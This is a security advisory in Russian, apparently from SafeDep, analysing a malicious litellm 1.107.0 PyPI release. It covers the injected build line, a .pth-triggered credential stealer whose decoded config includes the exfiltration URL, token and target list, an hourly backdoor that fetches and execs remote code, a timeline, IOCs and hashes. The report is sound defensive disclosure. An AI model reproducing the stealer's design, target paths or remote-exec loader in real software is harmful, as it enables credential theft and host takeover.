Что делает атака

Установка litellm==1.107.0 размещает три файла в site-packages. Python загружает два из них каждый раз при запуске.

  1. cook.pth импортирует cook.py — похитителя учётных данных. Собирает SSH-ключи, облачные учётные данные, CI/CD-секреты, токены AI-инструментов, пароли браузера и ключи LLM-провайдеров из базы данных LiteLLM proxy. Шифрует данные и отправляет на www.litellm[.]dev.
  2. sitecustomize.py запускает фоновый демон. Каждый час демон читает адрес сервера из файла на GitHub, запускает похитителя снова и загружает затем выполняет код с того сервера.

Как вредонос попал в релиз

В pyproject.toml исходного дистрибутива версии 1.107.0 (sdist) в секции сборки maturin добавлена одна дополнительная строка:

[tool.maturin]
...
python-source = "."
data = "cook"                     # <-- injected
python-packages = ["litellm_cli"] # legitimate (present upstream)

Параметр maturin data = "cook" копирует папку cook/ в litellm-1.107.0.data/purelib/ внутри wheel-файла. pip устанавливает эту папку в site-packages.

В sdist папка cook/ отсутствует, поэтому эта строка — единственное видимое изменение. Ни один публичный коммит в BerriAI/litellm не содержит data = "cook" или папку cook/.

В wheel-файле RECORD перечислены три добавленных файла:

litellm-1.107.0.data/purelib/cook.pth           12 bytes   "import cook"
litellm-1.107.0.data/purelib/cook.py         22252 bytes   exec(zlib.decompress(b64decode(...)))
litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes  loader/backdoor + embedded stealer

Релиз не совпадает с его тегом

Тег v1.107.0 указывает на коммит 66c8f5b (06:59 UTC). В его pyproject.toml стоит version = "1.108.0". SafeDep сравнили все файлы sdist с деревьями git по хешам blob. Sdist соответствует более позднему коммиту a8113b0 на main (08:50 UTC) плюс пять отредактированных файлов и папка cook/.

Четыре отредактированных файла — это Cargo.toml с добавленной строкой readme = "README.md". Легитимные релизы 1.106.2 и rc2 содержат те же правки. Пятый файл — pyproject.toml, здесь его сравнение с коммитом a8113b0:

-version = "1.108.0"
+version = "1.107.0"
-    "litellm-proxy-extras==0.4.111",
-    "litellm-enterprise==0.1.79",
+    "litellm-proxy-extras==0.4.110",     # same pins as 1.107.0rc2
+    "litellm-enterprise==0.1.78",
+data = "cook"                            # the injection
 ...
-version = "1.108.0"                      # second version field
+version = "1.107.0"

Правка устанавливает версию обратно на 1.107.0 и привязывает дополнительные пакеты к значениям rc2. Легитимный sdist версии 1.106.2 соответствует своему коммиту тега 49943cd, кроме строк readme в Cargo.toml.

Как были собраны wheel-файлы

Вредоносные wheel-файлы соответствуют выходу обычного конвейера релизов BerriAI:

  • Файл WHEEL указывает maturin версии 1.9.4, как и в легитимных релизах. Файлы вредоноса имеют правильные записи в RECORD, что говорит об отсутствии правок после сборки.
  • Временные метки ZIP показывают отдельные нативные сборки: macOS в 11:20, Linux в 11:21, Windows в 11:37 UTC.
  • В Windows wheel-файле все 2804 .py-файла имеют окончания строк CRLF, включая три файла вредоноса. В Linux wheel-файле их нет. Checkout git на Windows с преобразованием окончаний строк дает такую картину.

Никакой публичный GitHub Actions не собирал и не публиковал релиз. SafeDep проверили все 539 запусков между 09:30 и 12:30 UTC. В 11:50 UTC, примерно через 10 минут после загрузки на PyPI, litellm-dispatcher[bot] опубликовал GitHub-релиз v1.107.0. Для версии 1.106.2 произошла такая же задержка. PyPI не содержит заверений происхождения (provenance attestations) для версий 1.107.0, 1.106.2 или rc2.

SafeDep оценивают с умеренной-высокой уверенностью, что приватный конвейер сборки BerriAI собрал эти wheel-файлы из скомпрометированного исходного кода git. Атакующий мог использовать скомпрометированные учётные данные мейнтейнера или бота, приватную ветку или зеркало, либо изменить ссылку, с которой собирается конвейер. Украденный PyPI-токен, используемый с машин атакующего, соответствует доказательствам хуже. Только логи приватного конвейера BerriAI могут подтвердить причину.

Payload 1: похиститель учётных данных в cook.py

При запуске Python выполняет каждую строку, начинающуюся с import, в файле .pth в site-packages. cook.pth содержит import cook, поэтому похиститель запускается в каждом Python-процессе на хосте: в приложении, pip, языковых серверах IDE и CI-задачах.

cook.py оборачивает примерно 61 КБ Python в один слой exec(zlib.decompress(base64.b64decode('...'))). Декодированный код начинается с такой конфигурации:

PC_URL       = 'http://www.litellm.dev/healthcheck'
PC_TOKEN     = 'XWiA8gZNa7NcX2XRoAEb'          # sent as X-Token header
PC_PUBKEY    = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...'  # RSA-4096
PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb'
PC_ASYNC     = True                              # runs in a daemon thread
PC_MODULES   = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys',
                'shell_hist','cloud_creds','dev_secrets','container_creds',
                'cicd_secrets','ai_devtools','env_vars','db_litellm',
                'cloud_metadata','gpg_keys','tls_privkey']

Что собирает

МодульМишени
sysinfo, netinfoИмя хоста, пользователь, операционная система, IP-адреса, сетевые настройки
browser_pwСохранённые пароли Chromium, расшифрованные с помощью главного ключа профиля (DPAPI в Windows). logins.json и key4.db Firefox
browser_histИстория браузера
ssh_keys~/.ssh/*
shell_histИстория bash и zsh, PowerShell PSReadLine, история cmd
cloud_creds~/.aws/credentials и config, профиль Azure и токены, учётные данные gcloud, ~/.kube/config, ~/.docker/config.json, hosts.yml gh, rclone.conf, ~/.netrc
dev_secretsФайлы .pem, .key, .pfx, .p12, .pk8, .ppk в $HOME, Composer auth.json, сохранённые серверы FileZilla
container_credsТокен сервис-аккаунта Kubernetes
cicd_secretsconfig.toml GitLab runner, initialAdminPassword и master.key Jenkins, .vault-token, credentials.tfrc.json Terraform, настройки Packer
ai_devtoolsClaude Code, Claude Desktop, Cursor, Windsurf, Copilot, mcp.json VS Code, Gemini CLI, auth.json Codex, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, токен Hugging Face
env_varsСобственное окружение и окружение других процессов через /proc/<pid>/environ
db_litellmЧитает DATABASE_URL и сбрасывает таблицы LiteLLM_CredentialsTable и LiteLLM_ProxyModelTable, в которых хранятся ключи API LLM-провайдеров LiteLLM proxy
cloud_metadataСервис метаданных экземпляра AWS (IMDSv2, затем v1): удостоверение экземпляра и учётные данные роли
gpg_keys, tls_privkeyКлючи GPG, приватные ключи TLS

Как отправляет данные

  1. Шифрует JSON-результаты случайным ключом AES-256-CBC и шифрует этот ключ RSA-OAEP со встроенным открытым ключом.
  2. Упаковывает результат в tar.gz (hdr.json, data.bin, key.bin) и отправляет POST-запросом на www.litellm[.]dev/healthcheck с заголовком X-Token: XWiA8gZNa7NcX2XRoAEb.
  3. После успешной загрузки пишет /tmp/.pc_once_72129118c59f5636c0bb, чтобы собрать данные только один раз на хосте. Также устанавливает PRIVCOLLECT_ACTIVE=1, чтобы избежать повторного запуска в одной цепочке процессов.

Payload 2: бэкдор в sitecustomize.py

Python импортирует sitecustomize при запуске, поэтому этот файл также запускается в каждом Python-процессе.

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt"
CODE_PATH      = "/codepy"
LOOP_INTERVAL  = 3600
LOCK_FILE      = "/tmp/remote_code_loader.lock"
  1. Берёт исключительную блокировку на /tmp/remote_code_loader.lock, чтобы на хосте запускался только один демон.
  2. Вызывает fork() и setsid(), перенаправляет стандартный ввод и вывод в /dev/null и меняет директорию на /, чтобы отделиться от родительского процесса.
  3. Каждый час:
    1. читает domain.txt из GitHub-репозитория атакующего и берёт первую строку, похожую на домен,
    2. запускает встроенную копию похитителя, у которой нет маркера одноразовости,
    3. загружает http://<domain>/codepy и выполняет его через exec().

Атакующий может направить демон на новый сервер, отредактировав domain.txt. Каждый инфицированный хост выполняет то, что этот сервер возвращает как codepy.

В 13:40 UTC аккаунт GitHub letters9813 и его репозиторий вернули 404, примерно через два часа после релиза. Бэкдор теперь не находит адрес сервера и ничего не делает. Хосты, на которых демон работал до удаления, могли получить и выполнить код второго этапа. SafeDep не удалось восстановить адрес сервера.

Временная шкала

Все времена — UTC 21 октября 2026 г.

ВремяСобытие
06:59Создан тег v1.107.0 коммита 66c8f5b
08:50Коммит a8113b0 на main, база исходного кода релиза
10:44Загружена легитимная версия 1.106.2 на PyPI
11:20–11:37Собраны вредоносные wheel-файлы версии 1.107.0
11:39–11:401.107.0 загружена на PyPI (все 8 файлов)
11:50litellm-dispatcher[bot] публикует GitHub-релиз v1.107.0
13:40Обнаружено: 1.107.0 удалена с PyPI, аккаунт letters9813 удалён

Индикаторы компрометации

Сетевые

ИндикаторНазначение
www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheckПолучает украденные данные
HTTP-заголовок X-Token: XWiA8gZNa7NcX2XRoAEbОтправляется с каждой загрузкой
raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txtБэкдор читает отсюда адрес сервера (аккаунт удалён)
hxxp://<domain>/codepyЗагрузка кода второго этапа
Запросы к 169.254.169.254 из Python-процессовКража учётных данных экземпляра AWS

На хосте

ИндикаторЗначение
cook.pth, cook.py, sitecustomize.py в site-packagesУстановлен вредонос
/tmp/.pc_once_72129118c59f5636c0bbПохиститель уже отправил данные
/tmp/remote_code_loader.lockДемон бэкдора запускался
Переменная окружения PRIVCOLLECT_ACTIVE=1Присутствует в инфицированных процессах
Отделённый Python-демон (родительский PID 1, собственная сессия, рабочая директория /)Цикл бэкдора

Хеши файлов (SHA-256)

ФайлSHA-256
litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819
litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
litellm-1.107.0-cp310-abi3-win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

Посаженные файлы имеют разные хеши в Windows из-за окончаний строк CRLF:

ФайлLinux и macOSWindows
cook.pth7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
cook.py9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be2503ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
sitecustomize.py34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fab6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465